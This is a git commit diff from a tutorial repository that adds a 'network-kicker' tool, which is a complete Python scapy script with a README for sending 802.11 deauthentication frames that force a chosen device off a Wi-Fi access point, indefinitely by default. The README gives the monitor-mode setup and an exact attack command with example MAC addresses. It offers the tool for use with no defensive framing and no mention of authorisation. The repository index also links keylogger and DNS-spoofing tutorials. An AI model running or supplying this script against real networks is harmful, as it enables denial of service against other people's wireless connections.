added scapy deauthentication

Author: x4nth055

README.md

@@ -8,6 +8,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
         - [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector))
         - DHCP Listener script. ([code](scapy/dhcp_listener))
         - [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point))
+        - [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker))
         - [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner))
         - [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))
     - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))

scapy/network-kicker/README.md

@@ -0,0 +1,40 @@
+# [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy)
+to run this:
+- Linux Machine.
+- USB WLAN Stick.
+- aircrack-ng.
+- Turn the network interface to Monitor mode using the command:
+    ```
+    airmon-ng start wlan0
+    ```
+- `pip3 install -r requirements.txt`.
+- 
+    ```
+    python3 scapy_deauth.py --help
+    ```
+    **Output**:
+    ```
+    usage: scapy_deauth.py [-h] [-c COUNT] [--interval INTERVAL] [-i IFACE] [-v]
+                         target gateway
+
+    A python script for sending deauthentication frames
+
+    positional arguments:
+    target                Target MAC address to deauthenticate.
+    gateway               Gateway MAC address that target is authenticated with
+
+    optional arguments:
+    -h, --help            show this help message and exit
+    -c COUNT, --count COUNT
+                            number of deauthentication frames to send, specify 0
+                            to keep sending infinitely, default is 0
+    --interval INTERVAL   The sending frequency between two frames sent, default
+                            is 100ms
+    -i IFACE              Interface to use, must be in monitor mode, default is
+                            'wlan0mon'
+    -v, --verbose         wether to print messages
+    ```
+    For instance, if you want to deauthenticate `"00:ae:fa:81:e2:5e"` on an access point `"e8:94:f6:c4:97:3f"`, you can easily by:
+    ```
+    python3 scapy_deauth.py 00:ae:fa:81:e2:5e e8:94:f6:c4:97:3f -i wlan0mon -v
+    ```

scapy/network-kicker/requirements.txt

@@ -0,0 +1 @@
+scapy

scapy/network-kicker/scapy_deauth.py

@@ -0,0 +1,50 @@
+from scapy.all import *
+
+
+def deauth(target_mac, gateway_mac, inter=0.1, count=None, loop=1, iface="wlan0mon", verbose=1):
+    # 802.11 frame
+    # addr1: destination MAC
+    # addr2: source MAC
+    # addr3: Access Point MAC
+    dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
+    # stack them up
+    packet = RadioTap()/dot11/Dot11Deauth(reason=7)
+    # send the packet
+    sendp(packet, inter=inter, count=count, loop=loop, iface=iface, verbose=verbose)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="A python script for sending deauthentication frames")
+    parser.add_argument("target", help="Target MAC address to deauthenticate.")
+    parser.add_argument("gateway", help="Gateway MAC address that target is authenticated with")
+    parser.add_argument("-c" , "--count", help="number of deauthentication frames to send, specify 0 to keep sending infinitely, default is 0", default=0)
+    parser.add_argument("--interval", help="The sending frequency between two frames sent, default is 100ms", default=0.1)
+    parser.add_argument("-i", dest="iface", help="Interface to use, must be in monitor mode, default is 'wlan0mon'", default="wlan0mon")
+    parser.add_argument("-v", "--verbose", help="wether to print messages", action="store_true")
+
+    args = parser.parse_args()
+    target = args.target
+    gateway = args.gateway
+    count = int(args.count)
+    interval = float(args.interval)
+    iface = args.iface
+    verbose = args.verbose
+
+    if count == 0:
+        # if count is 0, it means we loop forever (until interrupt)
+        loop = 1
+        count = None
+    else:
+        loop = 0
+
+    # printing some info messages"
+    if verbose:
+        if count:
+            print(f"[+] Sending {count} frames every {interval}s...")
+        else:
+            print(f"[+] Sending frames every {interval}s for ever...")
+
+    deauth(target, gateway, interval, count, loop, iface, verbose)
+
+